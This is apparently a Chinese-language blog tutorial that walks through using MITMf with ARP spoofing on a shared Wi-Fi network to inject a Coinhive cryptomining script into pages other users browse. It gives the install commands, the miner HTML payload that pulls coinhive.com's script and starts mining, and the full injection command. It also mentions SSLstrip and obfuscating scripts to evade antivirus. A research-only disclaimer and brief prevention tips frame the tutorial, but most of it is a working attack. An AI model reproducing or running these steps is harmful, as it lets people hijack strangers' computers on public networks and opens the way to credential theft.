跳到主要內容

實作以 ARP spoofing 在用戶瀏覽的網頁中植入 Coinhive 挖礦程式,三分鐘駭入區網,一連上 Wi-Fi 可能就被植入挖礦程式碼甚至盜取錢包,新型態的殭屍礦工你也中標了嗎?



這篇文章的重點是要強調利用 MITM (中間人) 的網路攻擊有多簡單達成,即便是對於完全不熟悉程式編寫或指令系統的人,也能很輕易的在三分鐘內駭掉一台 Wi-Fi Router 與使用者間的連線來進行內容竄改 (植入挖礦程式、鍵盤側錄…等),或許這對於資安專家來說只是雕蟲小技不足掛齒,但對一般網路使用者已經可以構成極大的威脅。


也要呼籲所有內容僅供研究與沙箱模擬,若操作在不知情且未經同意的網路使用者上是違反我國刑法第三十六章「妨害電腦使用罪」。所有程式內容也並非由我所撰寫,若有非法操作蓄意造成他人財物損失我一概不負責。

MITM 攻擊原理

以 ARP spoofing 達成的 MITM (Man-in-the-middle) 網路攻擊原理其實也非常簡單,就如上圖所示在用戶 (Client) 向主機端 (Server) 調閱資料時,中間人 (MITM) 從中製造一個假的中繼站偽裝成主機,讓所有資訊都必須經他手才能達到用戶或主機手上,而在 Wi-Fi Router 的情境裡只不過把這個過程搬到了區域網路,駭客假裝成 Gateway (閘道) 經手所有資訊傳輸,就能在其中植入有害的程式碼,甚至更嚴重的可能會盜取使用者的加密貨幣錢包。




操作環境 - Kali Linux

那在 MITM 的操作環境我會選擇 Kali Linux,本身就有很齊全的程式庫和相關套件,使用一般的 Linux 發行版 (如 Ubuntu、Debian…等) 也是可以的,但要將 MITMF 缺少的依附安裝妥善後才能正確使用。而 Windows 系統則可以使用 VMware 虛擬機安裝 Kali Linux 成為虛擬系統來操作,不論是完整安裝或建置虛擬機的 ISO 都可以在 Kali Linux 官網下載,安裝過程就不贅述。




前置作業

apt-get update 
apt-get install mitmf
pip install Twisted==15.5.0
在 Kali Linux 環境下正常來講只需要上述這三個指令 (系統更新、安裝 MITMF、安裝 Twisted) 就可以完整部屬 MITMF 工具。

apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
如果是其他的 Linux 發行版建議先打上述指令安裝相關需要的程式庫,如果出現權限不足等錯誤在前面加上 sudo 使用管理員權限執行即可。安裝 MITMF 仍遇到其他錯誤可以參考 GitHub 的 Installation 文件有針對不同環境的說明。


<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
      var miner = new Coinhive.Anonymus('API key');
      miner.start();
</script>
MITMF 安裝完成後就要建立拿來植入使用者的 .html 檔案或 .js 腳本,如果要以 Coinhive 挖礦程式碼為例,我們可以建構一個最簡單的 .html 檔案 (如上) 先呼叫 Coinhive 的挖礦腳本再置入一個物件讓它直接開始挖礦。然後將這個檔案存成 miner.html 供稍後植入使用。

alert("警告,你已經被植入了挖礦程式!");
那為了方便分辨有沒有植入成功,可以在 <script> 內多加一行 Alert ,只要有成功植入就會有很清楚的彈窗警告。 


route -n
先用 route -n 指令查看自己的網路介面,將 Gateway (閘道)Iface (介面名稱) 兩項記起來供稍後 ARP spoofing 使用,Gateway 會因路由器設定而相異,Iface 沒有意外的話則都是 wlan0。



駭入區網、植入挖礦程式

mitmf --inject --html-file /root/miner.html --spoof --arp --gateway Gateway -i Iface 
再來就可以執行這整個 ARP spoofing 到植入 .html 檔的流程了,只需要更改剛剛建立的 miner.html 路徑以及將 Gateway 與 Iface 填入即可。


同時間,正在使用同個 Wi-Fi (區網) 的使用者在看網頁時就被植入了 Coinhive 的挖礦程式,可以看到剛剛寫的 Alert 有跳出來,當然真正想偷你電腦算力來挖礦的人並不會這麼好心提醒你。 

使用這種 ARP spoofing 的攻擊模式你根本不需要「入侵」任何東西,只要假冒成 Gateway 就能經手大部分從本機傳到 Router 的資訊,換句話說你只要連到任何咖啡廳、商店的 Wi-Fi 就能偷偷幫它們的使用者「加料」,但其實這都還算是非常「無害」的作法,植入挖礦程式頂多讓你電腦運作變慢用起來卡卡,那如果是植入側錄鍵盤的程式呢?可能你的帳號密碼就要落到不肖人士手中了。




如何預防?

那難道它沒有弱點也無法反制嗎?其實以我實作的方法並沒有辦法對 SSL 的頁面有針對手段,加密的通訊可以直接免疫 ARP spoofing,但在 MITMF 工具裡就有打包了一個叫 SSLstrip 的套件,它就是專們針對有瑕疵的 HTTPS 頁面進行破解,很多企業的網站 (包括上面被植入的 IMDb) 它們在一般頁面都是使用 HTTP 而已,轉到登入頁面才使用加密通訊的 HTTPS,那就會被駭客針對 HTTP 轉 HTTPS 的這個弱點來製造假的登入頁面誤導你填入帳號密碼,所以以後在輸入帳號密碼時一定要再三留意網址列的 HTTPS 和顯示安全字樣。 


一定會有人有疑問,像植入 Coinhive 這種挖礦腳本應該一下就被防毒軟體或瀏覽器 AdBlock 這類的 Plugins 識破了阿,受害的人數應該很少才對?其實 Javascript 腳本可以透過 AES 加密來讓防毒軟體、AdBlock 無法判讀是否有害,這種加密模式原本是被用來不讓任何人都能直接得到原始碼去作修改,目的在保障開發者的智慧財產權,但被利用於混淆防毒軟體植入有害程式也是壞了這一番美意。(圖片取自 G. T. Wang)


所以要呼籲大家不要隨便連上不明來源的 Wi-Fi (即便是餐廳、商店…等),也要盡量避免在不熟悉的網路輸入任何重要的帳號密碼,確認登入頁面的 HTTPS 和安全字樣才能保障資訊安全。更重要的是安裝最新版病毒定義檔的防毒軟體和啟用本機防火牆,確保電腦不被不肖人士入侵。






留言



這個網誌中的熱門文章

Linux (Ubuntu) 查詢硬碟容量、剩餘大小指令

在 Ubuntu Desktop 版本或有安裝 GUI 像 Xfce 的 Server 版本當然可以直接從圖形介面查看硬碟容量和已經使用的大小, 但如果是在純 CLI 版本或使用 SSH 連線時呢?那就需要用到指令了。 顯示硬碟容量、已使用、可用大小。 df -h 查詢資料夾所占硬碟的大小。 du -h 查詢檔案大小 ls -l

吃光硬碟讀寫的大怪獸 - Superfetch 是什麼?可以關嗎?

Superfetch 是 Windows 內建的硬碟快取功能,它會預先將檔案讀取起來到 Ram 裡方便稍後做使用,所以常常在工作管理員內都可以看到 Superfetch 往往占掉了不少的硬碟使用量,那這樣的情形是好的嗎?其實理論上並不會有太大影響,畢竟 Superfetch 只是將等會要讀取的內容先預置在 Ram 中,如果不趁硬碟負載小的時候優先讀取,之後反而可能忙不過來呢。當然如果你是使用 SSD 的話可能會為使用壽命擔心, 高頻率的讀取可能加速固態硬碟老化,那在讀取速度原本就很快的 SSD 當然就相對的沒有必要開啟 Superfetch 了。 Superfetch 在電腦待機時吃掉大部分硬碟使用量是很常有的事。 要關閉也很簡單, Win+R > services.msc 打開「服務」,找到 Superfetch。 右鍵 > 內容,將它更改為「 已停用 」後確定即可。

TLS / SSL 金鑰轉檔,「.crt / .key」如何轉成「.pem」?( OpenSSL 教學)

不管是哪個 Certificate Authority (CA) 發的憑證多半金鑰檔都是給「.crt / .key」格式的檔案,像是「ca_bundle.crt」、「 certificate.crt」和「.private.key」這種檔案, 但是在實際使用 (Nginx、Apache...等伺服器) 卻會需要的是「.pem」檔 ,那要怎麼轉換呢?其實可以直接使用 OpenSSL 這個軟體和幾行指令來達成。 OpenSSL 官方網站 :  https://www.openssl.org 下載頁面 :  https://www.openssl.org/source sudo apt-get install openssl 以 Linux (Ubuntu / Debian ...等) 為例,可以直接使用 apt-get 指令下載安裝 OpenSSL,如果是其他系統可以參考官方網站的說明。 openssl rsa -in private.key -text > private.pem openssl x509 -inform PEM -in certificate.crt > certificate.pem openssl x509 -inform PEM -in ca_bundle.crt > ca_bundle.pem 以前述所提到的「ca_bundle.crt」、「 certificate.crt」和「.private.key」三個檔案為例,就可以用上方的指令完成轉檔,其實同副檔名的轉檔指令都相同,所以兩個「.crt」的指令其實是重複的,也要記得套換成自己的檔案名稱。 如果需要申請免費的 SSL 憑證也可以參考之前介紹過的 SSL For Free ,它是使用「Let's Encrypt」核發的憑證,以及如果覺得申請憑證和定期更新太麻煩,也可以考慮自動化的 Caddy Server 能自動幫網站升級 HTTPS。